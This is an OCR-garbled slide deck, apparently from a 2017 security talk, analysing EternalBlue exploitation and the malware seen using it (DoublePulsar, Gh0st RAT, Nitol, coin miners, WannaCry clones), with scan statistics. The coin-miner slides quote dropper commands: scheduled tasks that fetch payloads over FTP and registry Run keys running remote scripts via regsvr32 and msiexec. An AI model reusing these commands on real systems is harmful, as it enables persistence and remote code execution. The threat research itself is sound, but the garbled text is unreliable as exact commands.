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WHOAMI

« Senior Security Research Engineer

« Spend my time researching attacks, malware, botnets and the like
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QUICK OUTLINE

EternalBlue

Online Scanning
Active Threats
Stats
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WHAT IS ETERNALBLUE?

Photo by Ales Krivec from Pexels https://www.pexels.com/photo/camping-environment-feet-grass-558454/
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fh Payload (Doublepulsar? > use eternalblue

1 f Enteri P1 in Context :: Eternmalbl
misterchOc / shadowbroker Entering Plugin Context :i Etornalblue
Set MetworkTimeout => 68
Set Targetlp =>

Applying Session Parameters
Running Exploit Touches

£» Code Issues 5 Pull re
Enter Prompt Mode :: Eternalblue
Eternalhlgg
Branch: master + | shadowbroker / wi Value
. misterchOc decrypted files https://steen ¥ e cor True
i 3

GroomAllocations 12
Target WIN72K8R2

plugin variables are valid
Prompt For Uariable Settings? [Yes] =

theshadowbrokers

@shadowbrokerss

[ Eternalblue-2.2.0.0.xml

Joined August 2016 £ Eternalblue-2.2.0.exe

Ualue
E‘ Eternalblue-2.2.0.fb MetworkT imeout
TargetIp
= Ftarmalehammian-2 000 TargetPort 445
[l Eternalchampion-2.0.0.0.xml D11Payload C:\fuzzbunchsshelll.d11
D110rdinal 4
= Frarmalebanm: sl FrocessName lzass.exe
[ Eternalchampion-2.0.0.exe ProcessCommandLine

Protocol SMB

- 2 = Ftar - N ls Architecture x86
— [E] Eternalchampion-2.0.0.fb Function RunDLL

Execute Plugin? [Yes1 :
[#] Executing Plugin
[+] Selecter._l Protocol SMB
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smb

Mo. Time SoUrce Destingtion Protocol  Length Info

6 B.183827 SMB 191 Negotiate Protocol Request

8 B.333834 SMB 179 Negotiate Protocol Response

9 B.388138 SMB 194 Session Setup AndX Request, User: ancnymous

11 @.558459 SMB 194 Session Setup AndX Response

12 ©.588546 SMB 144 Tree Connect AndX Request, Path: ‘-.‘--‘-.IF'CS

14 8.772987 SMB 114 Tree Connect AndX Response

15 8.773895 SMB 136 Trans2 Request, SESS5TON_SETUP

17 @8.954927 SMB 83 Trans2 Response<unknown>, Error: STATUS NOT_IMPLEMENTED

21 1.154@44 SMB 191 Negotiate Protocol Request

24 1.354062 smb

e iRl Time Source Destination Protocol  Length Info

27 1.546602 37 2.139376 SMB 194 Session Setup AndX Response

31 1.736254 42 2.1838996 SMB 1138 NT Trans Request, <unknown:

34 1.946468 48 2.374309 SMB 93 NT Trans Response, <unknown (@)>

35 1.946551 43 2.374419 SMB 4287 Trans2 Secondary Request

ST 52 2.374612 SMB 4287 Trans2 Secondary Request[Malformed Packet]
56 2.374775 SMB 4287 Trans2 Secondary Request[Malformed Packet]
68 2.374871 SMB 4287 Trans2 Secondary Request[Malformed Packet]
64 2.374991 SMB 4287 Trans2 Secondary Request[Malformed Packet]
63 2.37508381 SMB 4287 Trans2 Secondary Request[Malformed Packet]
72 2.375180 SMB 4287 Trans2 Secondary Request[Malformed Packet]
76 2.375267 SMB 4287 Trans2 Secondary Request[Malformed Packet]
77 2.375349 SMB 4287 Trans2 Secondary Request[Malformed Packet]
78 2.375452 SMB 4287 Trans2 Secondary Request[Malformed Packet]
88 2.377038 SMB 4287 Trans2 Secondary Request[Malformed Packet]
Q2 2.377287 SMB 4287 Trans2 Secondary Request[Malformed Packet]
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ACTIVE THREATS

DoublePulsar - Shellcode+DLL

Advanced analysis methods

$ strings * | grep http

$ cat urls.txt | xargs wget

Find malware download URLS

Download & profit
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ACTIVE THREATS
GhOst RAT

. Ni ~ I - B
Nice and Shady RAT PEEERREE: 4768 3873 74fS 0082 004cC 2188 @878 9c4b N S s
: BEeepsla: 5363 6898 C3CP CACEe P6C4 Bc48 beS1 9681 SC ........ 8.0..
* AV prOdUCtS have QOOd detection PEeeee26: 8189 4807 a7l6 9565 26a7 2a04 2426 &72b H....e&k. *, $8g+
@eeess3a: 1532 38ad @8cS 9881 2338 8074 4368 @283 .28.....*8.tih..
PaeePR4a: esbe @efo 2c4e baes cadf e162 cSeb @84b ....,E...0.b...K
@aeesssa: 688 785F aclc caff cfee 22FF 9681 c24f " _..uwn."uu..O
@eeesssd: ac9l @29b ffe2 cse7? 82d2z 3c4@ 7c83 dbB7  ...i.ee... <@,
PEeePe7A: 8954 2fe3 3183 1c48 814 3982 d432 P@49 ../.1..H..0..2.I
BEeePRsa: 2686 9486 844e 201b 651 8115 b592 eeae &....MN..h.......

@agapasa; 9l1fe fecl 9221 &e7e fegl 1111 @ccd B8afz ..... ] LT

PE8ePRaA: €592 BCPC B6CE B6e6 B666 160C 3661 B98C .....e... f..6
paeeeeba: 7780 faff 788 db3c ae64 6030 @1F2 6302 W......5.d @..C.

P2eePRca: 287¢ &899 fS561 @afe 21c7 e85f 1944 cebs .~ ..a..!.._ .D

paeeeada: 8519 485e fc9l 573e 57e4 74d9 @ads B8es H~ L WLt L F
Baeeeeed: 85208 bbbd fEaf f7el c17f 68bl 191e 182C .vveevwvrs anaal

paeepafa: ea7a 733e el 5
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ACTIVE THREATS

Nitol DDoS Bot

* Fingerprints system ~ I - —

. Receives target ‘I
I

« Sends large buffers of data (port 80)

__
_—

POO0A00E: 1400 HOA6 0200 G000 5000 0OOO 0100 0OEO ........ Poviinns
pooeee1e: 1460 oeee o200 oeee 3435 2| k-1 ........ s Il
90000020: 2e31 3431 00 141,

__.‘_
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ACTIVE THREATS

Coin Miners

Your Stats & Payment History

Look at worker stats for hash rates and worker stats

« .- Q Lookup
& Address: 41,
M Fending Balance: 0.640176714902 XMR
M Persconal Threshold (Editable): < | 0.500 XMR
(8 Total Paid 34.046175950000 XMR ~$3000
! The following stats are only for the base address and not all workers:
® Last Share Submitted: less than a minute ago

¢ Hash Rate 27.38 KH/sec
& Total Hashes Submitted: 134700534029
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ACTIVE THREATS

Coin Miners

 Very territorial, kill other miners and harden the host

ping 127.0.6.1 -n 18

netl user IISUSER$ /del&netl user IUSR_Servs /del

schtasks /create /tn "Mysal" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "sy
stem" /sc onstart /F

schtasks /create /tn "Mysa2" /tr "cmd /c echo open _p&echo test>>p&echo 1433>>p&echo
get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system" /sc onstart /F

sc config MpsSvc start= auto&net start MpsSvc

netsh advfirewall set allprofiles state on

netsh advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=8-65535 action=al
low

netsh advfirewall firewall add rule name="deny tcp 445" dir=in protocol=tcp localport=445 action=b|
lock

netsh advfirewall firewall add rule name="tcpall" dir=out protocol=tecp localport=0-65535 action=al
low

netsh ipsec static add policy name=win

netsh ipsec static add filterlist name=Allowlist
netsh ipsec static add filterlist name=denylist
netsh ipsec static add filter fTilterlist=denylist
tcp mirrored=yes dstport=135

netsh ipsec static add filter fTilterlist=denylist
tcp mirrored=yes dstport=137

netsh ipsec static add filter fTilterlist=denylist
tcp mirrored=yes dstport=138

netsh ipsec static add filter filterlist=denylist
tcp mirrored=yes dstport=139

netsh ipsec static add filter filterlist=denylist
tcp mirrored=yes dstport=445

netsh ipsec static add filteraction name=Allow action=permit

netsh ipsec static add filteraction name=deny action=block

netsh ipsec static add rule name=denyl policy=win fTilterlist=denylist filteraction=deny

netsh ipsec static set policy name=win assign=y

ver | find "5.1." > NUL && sc config SharedAccess start= auto && net start SharedAccess && netsh f
irewall set opmode mode=enable && netsh firewall set portopening protocol = ALL port = 445 name =
445 mode = DISABLE scope = ALL profile = ALL

del c:\windows“\debug\c.bat

Bxit

srcaddr=any dstaddr=me description=not protocol=
srcaddr=any dstaddr=me description=not protocol=
srcaddr=any dstaddr=me description=not protocol=
srcaddr=any dstaddr=me description=not protocol=

srcaddr=any dstaddr=me description=not protocol=
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Hdownlj
htep: /I : 105¢ .vat c:\windows\debug\c.bat ©

[emd]

netl start schedule&netl user asps.xnet /del

netl user IISUSER_ACCOUNTXX /del&netl user IUSR_ADMIN /del&netl user snt0454 /de
l&taskkill /f /im Logol_.exe&del c:\windows\Logol_.exe&taskkill /f /im Update64.
exe&del c:\windows\dell\Update64.exe

taskkill /f /im misiai.exe&del misiai.exe&del c:\windows\RichDllt.dll&netl user

asp.net /del&taskkill /f /im winhost.exe&del c:\windows\winhost.exe&del c:\windo
ws\updat .exe

taskkill /f /im netcore.exe&del c:\windows\netcore.exe&taskkill /f /im ygwmgo.ex
e&del c:\windows\ygwmgo.exe&netl user aspnet /del

ER /del
s&echo test>
>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>S&Ttp -s:s&a.exe" /ru

schtasks /create /tn "Mysa" /tr "cmd /c echo open
"system" /sc onstart /F

reg add "HKEY_LOCAL_MACHINE\SOFTWA i i s\Currentversion\Run" /v "s
tart" /d "regsvr32 /u /s /i:http:/ /v.sct scrobj.dll" /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "s
tartl" /d "msiexec.exe /i http:/ helloworld.msi /q" /f

echo 123>>1.txt&start C:\windows\debug\c.ba rundll32.exe c:\windows\debug
\item.dat, ServiceMain aaaa

@wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\w
inlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe

star
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ACTIVE THREATS
WannaCry & Clones

» No-killswitch WannaCry
» The dropped binaries do not run correctly

» No Bitcoin wallet, URLs for paymentnew.ok.ru

Oct. 19, 2017, 9:30 p.m. create_disposition: 5 (FILE_OVERWRITE_IF) success
NtCreateFile file_handle: @xe000022c

filepath: C:\Windows\tasksche.exe

desired_access: 0x40100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)

file_attributes: 4 (FILE_ATTRIBUTE_SYSTEM)

filepath_r: \??\C: \WINDOWS\tasksche.exe

create_options: 96 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)

status_info: 2 (FILE_CREATED)

share_access: 0 ()

Oct. 19, 2017, 9:30 p.m. buffer: MZ§y @ 1! LIIThis program cannot be run in DOS mode. $8A:NuoTueTaxTB X|=TE» ¥uT' Z oTE»~ wTE»P nTge @uTunUnT_£nTcqR¥nTRichanTPELAGLAp 59w  success
NtWriteFile @ 570d 40.text°ip ' .rdatap '@@.dataXd a@A.rsrc 4 4@@
offset: @

file_handle: 8x0000022¢
filepath: C:\Windows\tasksche.exe

Oct. 19, 2017, 9:30 p.m. handle: Ox8000022c success
NtClose

Oct. 19, 2017, 9:30 p.m. thread_identifier: & failed
CreateProcessinternalW thread_handle: 6x06000000

process_identifier: @

current_directory:

filepath:

track: @

command_line: C:\WINDOWS\tasksche.exe /i
filepath_r:

stack_pivoted: @

creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 8

process_handle: 9x00000000
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STATS

Number of Attacks

Attack Count
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STATS

Number of IP Addresses

IP Count
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STATS

Geographical Distribution of Targets

Attack Count
400000

350000
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150000
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50000
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© 2017 KEYSIGHT AND/OR ITS AFFILIATES. ALL RIGHTS RESERVED. | 15 IXIa

A Keysight Business




STATS

Geographical Distribution of Attackers

Attackers

Other .
16% United States

20%

Hong Kong
0,
Republic ol 1l{f’0
1%
2%
204 Russia
TUrncy 7 11%
2%
Venezuera
3%
Taiwan
0,
4% Japan
Brazil 8%
4%

Ukraine Indonesia
4% _ _ o,
India Vietnam v

5% 5%

China
4%
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STATS
Types of Hosts

« Conficker - Very few of the total
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SMB Status
Authentication: disabled
SMB Version: 1
Capabilities: unicode,large-files,nt-smb,rpc-re

x,large-writex, lwio,extended-security

Shares
MName

ADMINE

C$

Dg

ES

IPCE

Sharing Lotus Only
Sharing Update

17

Comments

Remote Admin
Default share
Default share
Default share
Remote IPC
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STATS
Types of Hosts

* Residential & 10T — proxies?

aa Ports

547

== Services

HTTP#1.1 481 Unauthorized

Server: mini_httpd/1.19 19dec20@3
Date: Wed, 27 Sep 2817 19:48:37 GMT

X-Frame-Options :

Cache-Control: no-cache,no-store
WMli-Authenticate: Digest realm="dirnam

gop=auth

Content-Type: text/html; charset=%s

Connection:

close

SAMEORIGIM

a= Services

21
tcp
ftp

1723
tcp
pptp

3128
tcp

MikroTik router ftpd version .40

228 MT-UM] FTP server (MikroTik 6.48@.3) ready
538 Login incorrect

58@ "HELP': command not understood

588 "FEAT': command not understood

Recursion: enabled

Firmware: 1
Hostname: MT-UMI
Vendor: MikroTik

MikroTik bandwidth-test serve

WB1Y\xB8\ x2a\ xBe

HTTR/1.1 288 0K
Connection: Keep-Alive
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= Services = Services

80 D-Link DCS-930L_8A webcam
tc
htt‘:) HTTP/1.8 481 Autherization Regquired

Server: alphapd
Date: Sun Oct 15 12:42:31 2817
Pragma: no-cache
Cache-Control: no-cache
Content-type: text/html
Content-length: 183
Whl-Authenticate: Bazic realm="DC5-938L_84"

S55L Certificate
Certificate:
Data:
Version: 3 (@x2)

Serial Mumber: 18433349334858667441 (@x917c56ad48941501)

Signature Algorithm: sha256WithRSAEncryption

HTTP/1.1 282 OK

Content-type: text/html
Server: uc-httpd/1.0.8
Cache-Control: max-age=2592009
Connection: Close

Issuer: C=TW, ST=HsinChu, L=HukKou, O=DrayTek Corp., OU=DrayTek Support, CN=Vigor Router

Validity
Mot Before: Mar 28 17:54:84 2817 GMT
Mot After : Mar 20 17:54:84 2847 GMT

Subject: C=TW, ST=Hsin{hu, L=HuKou, 0=DrayTek Corp., OU=DrayTek Support, CN=Vigor Router

Subject Public Key Info
Public Key Algorithm: rsaEncryption
Public-Key: (2848 bit)
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STATS
Types of Hosts

« Enterprise

:= Services

W Windows Server2ocs -
Enterprise ke
:= Services
4500
udp
ike-nat-t

Recursion: enabled
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VPN (IKE)

Initiator SPI: e5f858a@876af576
Responder SPI: 2000220202202002

Mext Payload: Security Association (SA)
Version: 1.8

Exchange Type: Identity Protection

Flags:
Encryption: False
Commit: False

Authentication: False
Message ID: 28082284
Length: 816

VPN (IKE NAT-T)

Initiator SPI: e5f858a@876af576
Responder SPI: 2000220202202002

Mext Payload: Security Association (SA)
Version: 1.8

Exchange Type: Identity Protection

Flags:
Encryption: False
Commit: False

Authentication: False
Message ID: 28082284
Length: 8ls

== Services

MySQL

WwedHost % "132.185.91.62%" is not allow

Remote Desktop Protocol
KB 3 Ea, xBa N xAbY B0\ xdd xBa \ X881 244

S5L Certificate
Certificate:
Data:
Version: 3 (@x2)
serizl Mumber:
1d:58:c5:ab:e3:c@: Bd:ab 41
Signature Algorithm: shalWithRSAEnC
Issuer: CN=WIN-BVBCK2FHGP2
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